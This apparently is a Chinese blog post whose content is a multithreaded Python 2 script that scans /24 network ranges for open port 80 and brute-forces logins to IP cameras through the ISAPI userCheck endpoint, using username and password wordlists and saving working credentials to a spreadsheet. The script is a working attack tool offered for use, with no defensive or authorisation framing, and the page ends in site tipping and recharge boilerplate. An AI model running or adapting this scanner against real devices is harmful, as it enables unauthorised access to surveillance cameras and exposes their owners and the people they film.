python 多线程多任务内网摄像头登陆

python 多线程多任务内网摄像头登陆

#coding=utf-8
import time
import datetime
import xlwt
import xlrd
from xlutils.copy import copy;
import  requests
import socket
import Queue
import threading
q=Queue.Queue()
writeQueue=Queue.Queue()
testIpQueue=Queue.Queue()
insertRowValueList = []
mutex = threading.Lock()
def tic():
    globals()['tt'] = time.clock()
def toc():
    print '\nElapsed time: %.8f seconds\n' % (time.clock() - globals()['tt'])

def getLoginUrl(username,password,ip):
    timeStamp = int(time.time() * 1000)
    url='http://%s:%s@%s/ISAPI/Security/userCheck?timeStamp=%d'%(username,password,ip,timeStamp)
    #print "LoginUrl: "+url
    return url

def readFile(filename):
    List=[]
    file=open(filename)
    lineDatas=file.readlines()
    for line in lineDatas:
        lineData=line.strip('\n\r')
        List.append(lineData)
    file.close()
    return List

def ReadSheet(excelFile):
    data = xlrd.open_workbook(excelFile)
    table = data.sheets()[0]
    nrows = table.nrows  # 行数
    ip_username_pwd=[]
    for i in xrange(0, nrows):
        rowValues = table.row_values(i)  # 某一行数据
        ip_username_pwd.append(rowValues)
    return  ip_username_pwd
def WriteSheetRow(sheet, rowValueList, rowIndex, isBold):
    col_ind = 0
    style = xlwt.easyxf('font: bold 1')
    for svalue in rowValueList:
        strValue = unicode(str(svalue), 'utf-8')
        if isBold:
            sheet.write(rowIndex, col_ind, strValue, style)
        else:
            sheet.write(rowIndex, col_ind, strValue)
        col_ind = col_ind + 1

'''写excel文件'''
def save_Excel(strFile,insertValueList):
    #excelFile = unicode(strFile, "utf8")
    wbk = xlwt.Workbook()
    sheet = wbk.add_sheet('sheet1', cell_overwrite_ok=True)
    headList = ['ip', 'username', 'password']
    rowIndex = 0
    WriteSheetRow(sheet, headList, rowIndex, True)
    for valueList in insertValueList:
        rowIndex = rowIndex + 1
        WriteSheetRow(sheet, valueList, rowIndex, False)
    wbk.save(strFile)

def writeXls(excelFile,insertValueList):
    oldWb = xlrd.open_workbook(excelFile,'w+b');
    newWb = copy(oldWb);
    newWs = newWb.get_sheet(0);
    table = oldWb.sheets()[0]
    nrows = table.nrows  # 行数
    WriteSheetRow(newWs, insertValueList, nrows, False)
    newWb.save(excelFile);
def isOpen80Port(dst):
    cli_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    try:
        indicator = cli_sock.connect_ex((dst, 80))
        cli_sock.close()
        if indicator == 0:
            print "%s isOpen80Port Yes" % dst
            return True
        else:
            print "%s isOpen80Port NO" % dst
            return False
    except Exception as e:
        print 'dd2'
        cli_sock.close()
        print "%s isOpen80Port NO"%dst
        return  False
def rask():
    for ip in readFile("ip_carmea.txt"):
        for username in readFile("username.txt"):
            for password in readFile("password.txt"):
                item={}
                item['ip'] = ip
                item['username'] = username
                item['password']=password
                q.put(item)
    print "job qsize:", q.qsize()
def rask2():
    ip_username_pwd = ReadSheet('ip_origin.xls')
    for rowValue in ip_username_pwd:
        ip_base = rowValue[0]
        username = rowValue[1]
        password = rowValue[2]
        for i in xrange(1, 255):
            dst = ip_base + '%d' % i
            item = {}
            item['ip'] = dst
            item['username'] = username
            item['password'] = password
            testIpQueue.put(item)
def isLoginSuccess(url):
    try:
        r=requests.get(url,timeout=3)
    except Exception as e:
        return -1
    print r.status_code
    if r.status_code==200:
        print "login success"
        return 0
    elif r.status_code in [401,403]:
        print "login fail"
        return 1
    else:
        print "othor failt"
        return 2
    r.close()

class  MyThread(threading.Thread):
    def __init__(self,func):
        threading.Thread.__init__(self)
        self.func=func
    def run(self):
        self.func()

def do_work():
    while True:
        item = q.get()

        rowValueList=[item['ip'],item['username'], item['password'] ]
        url = getLoginUrl(item['username'], item['password'], item['ip'])
        possible_rowValueList=[item['ip']]
        print "LoginUrl: " + url
        result = isLoginSuccess(url)
        print "result: "+str(result)

        if result == 0:

            writeQueue.put(rowValueList)
            #print "wQ: " + str(writeQueue.qsize())
        elif result in [1,2]:
           writeQueue.put(possible_rowValueList)
           #print "wQ: "+str(writeQueue.qsize())

        q.task_done()
def do_writeWork():
    while True:
        item = writeQueue.get()
        mutex.acquire()
        writeXls("ip_usrname_pwd1.xls",item)
        mutex.release()
        writeQueue.task_done()
def do_is80PortOpen():
    while True:
        item = testIpQueue.get()
        if isOpen80Port(item['ip']):
            q.put(item)
        testIpQueue.task_done()


if __name__=='__main__':
    tic()
    save_Excel("ip_usrname_pwd1.xls", insertRowValueList)
    #rask()
    rask2()
    for i in range(255):
        thread = MyThread(do_is80PortOpen)
        thread.setDaemon(True)  # 设置为守护线程
        thread.start()


    for i in range(10):
        thread = MyThread(do_work)
        thread.setDaemon(True)  # 设置为守护线程
        thread.start()
    for i in range(10):
        thread = MyThread(do_writeWork)
        thread.setDaemon(True)  # 设置为守护线程
        thread.start()
    testIpQueue.join()
    q.join()  # 线程依次执行,主线程最后执行
    writeQueue.join()

    toc()

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值